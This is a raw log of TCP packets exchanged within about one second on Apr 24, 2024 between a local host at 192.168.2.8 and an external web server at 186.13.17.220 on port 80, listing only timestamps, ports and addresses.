Apr 24, 2024 17:37:13.667166948 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667182922 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667206049 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667228937 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667232037 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667269945 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667505980 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667551041 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667566061 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667606115 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667639017 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667692900 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667714119 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667738914 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667757988 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667772055 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667790890 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667834044 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667846918 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667891979 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667895079 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667933941 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667952061 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.667989016 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.667994022 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668028116 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668041945 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668077946 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668080091 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668121099 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668148041 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668180943 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668186903 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668220043 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668246031 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668289900 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668313026 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668339968 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668354034 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668376923 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668381929 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668416977 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668450117 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668463945 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668486118 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668515921 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668523073 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668556929 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668570042 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668608904 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668612003 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668661118 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668678999 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668720007 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668741941 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668780088 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668791056 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668816090 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668832064 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668853045 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668867111 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668890953 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668911934 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668931007 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.668945074 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.668987036 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.669008970 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.669039965 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:13.669048071 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:13.669076920 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.036838055 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.036895990 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.037013054 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.037065029 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.037225962 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.037311077 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.037473917 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.037528038 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.037769079 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.037792921 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.037806034 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.037827015 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.037858009 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.037977934 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.038016081 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.038197041 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.038255930 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.038300037 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.038337946 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.038461924 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.038510084 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.038666964 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.038712978 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.038781881 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.038822889 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039076090 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039092064 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039103985 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039119959 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039120913 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039153099 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039159060 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039180994 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039206982 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039252043 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039294958 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039321899 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039385080 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039423943 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039437056 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039460897 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039490938 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039639950 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039680004 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039707899 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039752007 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039845943 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.039911985 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.039994001 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.040040016 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.040183067 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.040195942 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.040220022 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.040249109 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.040256023 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.040287018 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.040297031 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.040323973 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.040458918 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.040510893 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.041328907 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.041379929 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.041748047 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.041769981 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.041800022 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.041815996 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.041856050 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.041894913 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.041898966 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.041912079 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.041929007 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.041949034 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.042057037 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.042102098 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.042124987 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.042162895 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.042217016 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.042260885 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.042366982 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.042407036 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.042506933 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.042560101 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.042563915 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.042603970 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.042665005 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.042728901 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.042772055 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.042853117 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.042896986 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.042979002 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.043020010 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.043116093 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.043154001 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.043304920 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.043395042 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.043448925 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.043462992 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.043514013 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.043746948 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.043772936 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.043796062 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.043796062 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.043839931 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.043843985 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.043874025 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.043889999 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.043911934 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.043979883 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044069052 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044080019 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044114113 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044132948 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044145107 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044173002 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044193983 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044215918 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044265985 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044310093 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044317007 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044354916 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044378042 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044418097 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044439077 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044480085 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044503927 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044527054 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044552088 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044574022 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.044642925 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044706106 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.044744968 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.151590109 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.151675940 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.151721001 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.151763916 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.151788950 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.151819944 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.151866913 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.151952028 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.151990891 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.151990891 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.152036905 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.152128935 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.152173996 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.152328968 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.152342081 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.152376890 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.152575016 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.152628899 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.152724981 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.152762890 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.152775049 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.152808905 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.152841091 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.152951002 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.152956009 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.152987957 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.153039932 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153081894 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.153115034 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153161049 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.153213024 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153270960 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.153342009 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153429985 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153465033 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153472900 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.153506041 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153526068 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.153542042 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.153692007 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153703928 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153734922 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.153750896 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.153875113 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.153917074 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.154587030 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.154628038 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.154643059 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.154685020 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.154711962 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.154743910 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.154762030 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.154793024 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.154808044 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.154855013 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.154906988 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.154921055 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.154956102 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.154980898 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.154992104 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155016899 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155046940 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155050039 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155085087 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155095100 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155153990 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155169964 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155183077 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155208111 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155226946 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155241013 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155287027 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155288935 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155332088 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155350924 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155388117 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155410051 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155447960 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155459881 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155472994 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155495882 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155514002 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155549049 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155560970 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155599117 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155632019 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155669928 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155689001 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155700922 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155730009 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155750990 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155790091 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155797958 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155836105 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155868053 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155880928 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155909061 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155925989 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.155947924 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.155970097 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.156011105 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.156049967 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.156063080 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.156094074 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.156130075 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.156143904 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.156167030 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.156168938 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.156194925 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.156213999 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.156225920 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.156354904 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.156363964 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.156375885 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.156402111 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.156421900 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.412765026 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.412818909 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.412862062 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.412877083 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.412908077 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.413192034 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.413727999 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.413777113 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.414210081 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.414242983 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.414277077 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.414294004 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.414308071 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.414343119 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.414350033 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.414386988 CEST	49708	80	192.168.2.8	186.13.17.220
